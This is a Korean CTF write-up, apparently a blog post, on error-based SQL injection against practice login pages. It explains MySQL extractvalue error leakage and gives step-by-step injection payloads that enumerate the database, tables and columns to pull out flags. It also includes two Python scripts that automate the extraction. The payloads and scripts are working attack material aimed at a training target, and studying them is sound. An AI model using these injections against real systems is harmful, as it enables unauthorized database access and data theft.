[1]Reconnaissance
Analysis Page
-로그인 페이지입니다.
-로그인이 되면 위와 같이 나타납니다.
Check vulnerability
-먼저 SQL Injeciton이 가능한지를 확인하기 위해, "normaltic' and '1'='1" 을 입력해보겠습니다.
-로그인이 되는 것을 보아 SQLi가 가능한 것으로 보입니다.
Check Structure
-인증/식별 구조를 알아보기 위해 비밀번호를 틀린 값으로 전송해보았습니다.
-만약 로그인이 된다면 인증/식별 동시 구조로 비밀번호가 틀린 값이어도 공격이 가능하지만 로그인이 되지 않는다면 인증/식별 분리 구조로 비밀번호가 공격 결과로 나온 비밀번호와 일치해야 하는 등의 번거로움이 있습니다.
-로그인 되지 않는 것을 보아 인증/식별 분리 구조일 가능성이 높아졌습니다.
[2]Vulnerability
Error based SQL Injeciton
-Error based SQL Injection이란, SQL 질의 결과와 Error 메세지가 화면에 출력될 때, 이를 이용하여 정보를 추출하는 SQLi 방식입니다.
-이때 사용하는 에러는 단순 문법 에러가 아닌, 실행되는 과정에서 발생되는 로직 에러여야 하고, 동시에 SQL에서 발생하는 에러여야 합니다.
extractvalue(xml_fragment, xpath_expression)
-extractvalue 함수는 mysql에서 xml 데이터 안에서 xpath 표현식과 일치하는 데이터를 추출하는 함수인데, 만약 두 번째 인자가 적절하지 않은 인자인 경우 에러가 발생합니다.
extractvalue(1, concat(0x3a,'1'))
-예를 들어 위와 같이 입력한다면, "XPATH syntax error: ';a'"을 출력합니다. 위의 구문에서 concat의 두 인자 ':'과 '1'은 :과 1을 서로 붙이겠다는 의미인데, 두 번째 인자에 해당하는 '1'은 문자열 뿐 아니라 쿼리를 삽입할 수 있고 이 경우 그 결과를 출력하게 됩니다.
-따라서 Concat 첫 번째 인자에 (:, ;, ^ 등)의 기호를, 두 번째 인자에 원하는 쿼리를 삽입하여 출력된 결과를 얻고 정보를 추출하여 Error based SQLi를 수행할 수 있습니다.
[0]Find Attack Format
-공격 포멧을 찾아봅시다. 일단 extractvalue 가 먹히는지와 select가 필터링 되어 있는지 확인해야 합니다.
-아이디에 아래와 같은 입력값을 삽입해 봅시다
' and extractvalue(1, concat(0x3a, (select '1'))) and '1'='1
-XPATH 에러 메세지가 출력되며, select로 조회한 값 1이 출력되는 것을 알 수 있습니다. 따라서 공격 포멧은 아래와 같습니다.
' and extractvalue(1, concat(0x3a, (__QUERY__))) and '1'='1
[1]Find DB
-Database를 먼저 찾아보겠습니다.
' and extractvalue(1, concat(0x3a,(select database()))) and '1'='1
-현재 사용하는 DB의 이름은 'sqli_2' 입니다.
[2]Find Table
-Table은 information_schema.tables 에서 찾을 수 있고, where table_schema = 'db_name' 으로 조건을 걸어 빠르게 찾을 수 있습니다.
' and extractvalue(1, concat(0x3a,(select table_name from information_schema.tables where table_schema='sqli_2' limit 0,1))) and '1'='1
-limit offset을 통해 결과를 하나로 제한하여 출력하였고, 첫 번째 결과는 flag_table, 두 번째 결과는 member가 나왔습니다.
select * from user limit 3 #결과 3개
select * from user limit 3,3 #4,5,6번째 결과
-위의 limit 구문은 결과를 3개로 제한한다는 뜻이고, 아래의 limit 구문은 3번째 이후의 결과 3개(4,5,6번째)를 가져온다는 뜻입니다.
-따라서 이전 payload의 삽입 쿼리 부분을 limit {원하는 결과 순서}, 1로 결과를 하나씩 제한하여 사용할 수 있습니다.
[3]Find Column
-column은 Information_schema.columns에 존재하며, where table_name='table_name'으로 조건을 걸 수 있습니다.
' and extractvalue(1, concat(0x3a,(select column_name from information_schema.columns where table_name='flag_table' limit 0,1))) and '1'='1
-column은 flag 하나만 존재합니다.
[3]Flag
' and extractvalue(1, concat(';',(select flag from flag_table limit 0,1))) and '1'='1
[4]SQL Injection 4의 경우
Structure and vulnerability
-SQL Injeciton 4의 경우, 로그인 폼에 식별/인증 분리 구조였고, extractvalue 에러 메세지를 출력하여 Error based SQLi가 가능했으며, flag_table의 column이 flag1부터 flag8까지 8개였습니다.
import re
import requests as req
sess = req.Session()
url = 'http://ctf.segfaulthub.com:7777/sqli_2_1/login.php'
data = ''
for i in range(1,9):
res = sess.post(url, cookies={'PHPSESSID':'__your_info__', 'session':'__your_info__'}, data={'UserId':f"normaltic' and extractvalue(1,concat(0x3a,(select flag{i} from flag_table))) limit 0,1#", 'Password':'?', 'Submit':'Login'})
data = data + (re.findall(r"XPATH syntax error: \'(.*?)'", res.text))[0][1:]
print(data)
[5]SQL Injection 5의 경우
Structure and vulnerability
-SQL Injeciton 5의 경우, 인증/식별 분리 구조였고, extractvalue 에러 메세지가 출력되었습니다.
-database는 'sqli_2_2', table은 'flagTable_this', column은 idx와 flag가 존재하였습니다.
-다만 flag의 결과가 여러개였고 그 수개 꽤 많았습니다.
import re
import requests as req
sess = req.Session()
url = 'http://ctf.segfaulthub.com:7777/sqli_2_2/login.php'
data = ''
for i in range(1,16):
res = sess.post(url, cookies={'PHPSESSID':'__your_info__', 'session':'__your_info__'}, data={'UserId':f"normaltic' and extractvalue(1,concat(0x3a,(select flag from flagTable_this limit {i},1)))#", 'Password':'1234', 'Submit':'Login'})
print((re.findall(r"XPATH syntax error: \'(.*?)'", res.text)))
print(data)
'write-up > web' 카테고리의 다른 글
SQL Injection Point 1 (0) | 2024.06.06 |
---|---|
SQL Injection 6 (0) | 2024.06.05 |
SQL Injection (Blind Practice) (0) | 2024.06.02 |
SQL Injection (Error Based SQLi Basic) (0) | 2024.05.31 |
SQL Injection 2 (0) | 2024.05.24 |